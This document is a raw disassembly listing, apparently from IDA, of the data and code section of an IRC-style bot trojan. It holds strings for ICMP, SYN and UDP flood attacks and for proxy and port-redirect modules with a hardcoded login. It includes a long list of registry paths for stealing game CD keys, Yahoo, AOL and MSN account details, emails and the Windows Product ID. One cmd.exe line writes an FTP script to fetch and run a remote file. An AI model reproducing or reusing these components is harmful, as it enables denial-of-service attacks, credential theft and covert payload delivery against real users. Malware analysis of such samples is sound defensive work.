dword_444D1C	dd 74656720h	byte_444D20	db 20h			; DATA XREF: sub_425270+A2r
dword_444D21	dd 0E8006A00h	dword_444D25	dd 17h							; sub_425270+D2r
dword_444D29	dd 0E8C30175h	dword_444D2D	dd 1							; sub_425270+E7r
byte_444D31	db 0, 6Ah, 0		; DATA XREF: sub_425270+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444D3B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_426450+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4266A0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426820+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426820+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426820+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426820+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_4269A0+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426EB0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: sub_426F70+C1o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427590+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_427650+C0o
		align 10h
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
		align 10h
off_444F40	dd offset byte_455247	; DATA XREF: sub_427DC0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4282C0+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
					; sub_4282C0+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
					; sub_4282C0+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_4282C0+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_4282C0+961o
		align 8
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_4282C0+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_4282C0:loc_42886Bo
					; sub_4282C0+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
		align 10h
asc_445230	db 0Dh,0Ah,0		; DATA XREF: sub_4282C0+46Co
					; sub_4282C0+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_4282C0+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4282C0+202o
					; sub_42D580+20Fo
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_4282C0+1CDo
		align 8
off_445258	dd offset byte_544547	; DATA XREF: sub_4282C0+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_4299C0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D00+22o
					; sub_42A090+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
		align 10h
		dd 2 dup(0)
dword_445338	dd 1000005h, 0	dword_445340	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B880+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B880+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C435o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C3C1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:00445408o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0 ; DATA XREF: sub_42C790+23o
		align 8
aCalloc		db 'calloc',0           ; DATA XREF: sub_42D580+310o
					; sub_42D580+351o
		align 10h
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_42D580+1C4o
					; sub_42D580+1EAo
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0    ; DATA XREF: sub_42C810+5Co
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C810+49o
					; sub_42C810:loc_42C8CDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CC50:loc_42CDECo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D0D0+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D0D0+3Do
		dd 0
aWrite		db 'write',0            ; DATA XREF: sub_42D1A0+A3o
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
		align 10h
		dd 0
dword_4454E4	dd 524F5453h	byte_4454E8	db 0			; DATA XREF: sub_42D2C0+EDr
		align 4
dword_4454EC	dd 52544552h	byte_4454F0	db 0			; DATA XREF: sub_42D2C0+D3r
		align 4
dword_4454F4	dd 5453494Ch	byte_4454F8	db 0			; DATA XREF: sub_42D2C0+B8r
		align 4
dword_4454FC	dd 54534C4Eh	byte_445500	db 0			; DATA XREF: sub_42D2C0+9Er
		align 4
dword_445504	dd 45505954h, 632520h, 0					; ___:0042E6CAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D2C0+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0 ; DATA XREF: sub_42D580+2C8o
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_42D580+242o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_42D580+230o
		align 10h
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_42D580+190o
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D580+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+12Eo
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E0DEo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E13Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E1CEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E24Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E2A7o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E2FEo
		align 4
off_4456BC	dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do
					; "InterlockedCompareExchange"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E400:loc_42E581o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
		align 4
		dd 0
word_4456FC	dw 77h			; DATA XREF: sub_42E400+1Fr
		align 10h
dword_445700	dd 25206425h, 64hdword_445708	dd 455A4953h, 732520h, 0dword_445714	dd 4D54444Dh, 732520h, 0dword_445720	dd 4F544E52h, 732520h, 0dword_44572C	dd 52464E52h, 732520h, 0dword_445738	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EA40+10o
		align 4
dword_44574C	dd 1							; sub_430460+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
					; ___:off_4456BCo
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431280+6o
		align 10h
aA		db '',0                ; DATA XREF: sub_433A20+36o
		align 4
		dd 13h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 4468A4h, 446F70h,	446870h, 80000002h, 446810h
		dd 446F70h, 4467E0h, 80000002h,	446788h, 446F70h, 446764h
		dd 80000002h, 44671Ch, 446F70h,	446704h, 80000002h, 4466C0h
		dd 446F70h, 446698h, 80000002h,	44665Ch, 446F70h, 446628h
		dd 80000002h, 4465C8h, 446F70h,	44659Ch, 80000002h, 446578h
		dd 446570h, 446544h, 80000002h,	44651Ch, 446570h, 446504h
		dd 80000001h, 4464D4h, 4464D0h,	4464C0h, 80000002h, 446484h
		dd 446F70h, 446474h, 80000002h,	446438h, 446F70h, 446424h
		dd 80000002h, 4463DCh, 446F70h,	4463C0h, 80000002h, 44637Ch
		dd 446F70h, 446360h, 80000001h,	446338h, 4464D0h, 446328h
		dd 80000001h, 446300h, 4464D0h,	4462E0h, 80000002h, 4462A4h
		dd 4462A0h, 446284h, 80000002h,	446260h, 446258h, 446240h
		dd 80000001h, 446214h, 44620Ch,	4461E8h, 80000002h, 44619Ch
		dd 446F70h, 446174h, 80000002h,	446120h, 446F70h, 4460E8h
		dd 80000002h, 446084h, 446F70h,	446050h, 80000002h, 445FF0h
		dd 446F70h, 445FD4h, 80000002h,	445F8Ch, 446F70h, 445F70h
		dd 80000002h, 445F28h, 446F70h,	445F18h, 80000002h, 445EDCh
		dd 446F70h, 445ECCh, 80000002h,	445E90h, 446F70h, 445E68h
		dd 80000002h, 445E14h, 446F70h,	445DECh, 80000002h, 445D9Ch
		dd 446F70h, 445D80h, 80000002h,	445D58h, 4464D0h, 445D44h
		dd 80000002h, 445D0Ch, 446F70h,	445CDCh, 80000002h, 445C84h
		dd 446F70h, 445C68h, 80000001h,	445C18h, 445C10h, 445BF4h
		dd 80000002h, 445BB0h, 445BA4h,	445B8Ch, 80000001h, 445B5Ch
		dd 445B50h, 445B30h, 80000002h,	445AF4h, 445C10h, 445AD4h
		dd 80000002h, 445A98h, 445C10h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00434FBAo
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00434F7Eo
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
		align 4
		dd 0
dword_44693C	dd 3A6D6961h, 732520h, 0dword_446948	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434E82o
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A7C	dd 3A6E736Dh, 732520h, 0dword_446A88	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00435447o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4356F0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4356F0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4356F0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4356F0+3BBo
		align 4


loc_446BB4:				; DATA XREF: sub_4356F0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446BBF:				; DATA XREF: sub_4356F0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BCB:				; DATA XREF: sub_4356F0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BD7:				; DATA XREF: ___:00435EB6o
					; ___:00436110o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BE8:				; CODE XREF: ___:00446BEDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BE8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043633Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CE0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F70	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F74	dd 0							; sub_4245F0+11o ...
dword_446F78	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D3DFr ...
		align 10h
dword_446F80	dd 0							; ___:0040D345w ...
		dd 8 dup(0)
dword_446FA4	dd 41h dup(0)						; ___:0040D380o ...
dword_4470A8	dd 0							; ___:loc_40D3D4r ...
dword_4470AC	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D34Fr ...
dword_4470B0	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D580+CAw
dword_4470B4	dd 0							; sub_40D580+E3r
		dd 11h dup(0)
dword_4470FC	dd 0							; sub_40FF60+47Dr
dword_447100	dd 0							; sub_40FF60+515r ...
dword_447104	dd 0							; sub_40FF60+655r ...
dword_447108	dd 0							; sub_40FF60+B79r ...
dword_44710C	dd 0							; sub_40FF60+74Br
dword_447110	dd 0							; sub_40FF60+828r
dword_447114	dd 0							; sub_40FF60+77Cr
dword_447118	dd 0							; sub_40FF60+4DDr ...
dword_44711C	dd 0							; sub_40FF60+311r
dword_447120	dd 0							; sub_40FF60+34Dr ...
dword_447124	dd 0							; sub_40FF60+33Dr
dword_447128	dd 0							; sub_40FF60+3D2r
dword_44712C	dd 0							; sub_40FF60+E93r
dword_447130	dd 0							; sub_40FF60+1220r ...
dword_447134	dd 0							; sub_411FE0+4DAr
dword_447138	dd 0							; sub_40FF60+683r
dword_44713C	dd 0							; sub_40FF60+6B5r
dword_447140	dd 0							; sub_40FF60+1252r
		dd 5 dup(0)
dword_447158	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44719A	db 0			; DATA XREF: sub_409A30r sub_409AA0r
		align 4
		db 3 dup(0)
byte_44719F	db 0			; DATA XREF: sub_40D580+10Fr
		db 0
byte_4471A1	db 0			; DATA XREF: sub_40DB10r
word_4471A2	dw 0			; DATA XREF: sub_40DB10+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_4472B7	db 0			; DATA XREF: ___:00412ECAo
					; ___:00412F7Fo ...
		db 3 dup(0)
byte_4472BB	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_4472C0	dd 12h dup(0)						; sub_40FF60+114o
		db 0
byte_447309	db 3 dup(0)		; DATA XREF: ___:00408ADEo
					; sub_40FF60+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447352	dw 0			; DATA XREF: ___:00408AB5o
					; sub_40FF60+132o
		dd 6 dup(0)
word_44736C	dw 0			; DATA XREF: sub_40FF60+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44739B	db 0			; DATA XREF: ___:00408B07o
					; sub_40FF60+17Co ...
		dd 12h dup(0)
dword_4473E4	dd 12h dup(0)						; sub_40FF60+F7o ...
		db 0
byte_44742D	db 3 dup(0)		; DATA XREF: ___:00408A40o
					; sub_40FF60+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_4474BF	db 0			; DATA XREF: ___:00408B30o
					; sub_40FF60+19Ao
		dd 24h dup(0)
		db 0
byte_447551	db 3 dup(0)		; DATA XREF: sub_425020+2Bo
					; sub_425020+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44759A	dw 0			; DATA XREF: ___:00412E9Ao
					; ___:00412EB9o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44768F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447769	db 0			; DATA XREF: sub_41B950+18r
		align 4
		dd 23h dup(0)
		db 3 dup(0)
byte_4477FB	db 0			; DATA XREF: sub_40D580:loc_40D90Fr
		dd 12h dup(0)
byte_447844	db 0			; DATA XREF: sub_40FF60+842r
		align 4
		dd 0Bh dup(0)
dword_447874	dd 18h dup(0)						; sub_40ED70+97o ...
		db 2 dup(0)
byte_4478D6	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D830+671r
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_44791F	db 0			; DATA XREF: sub_404C70:loc_404EE0r
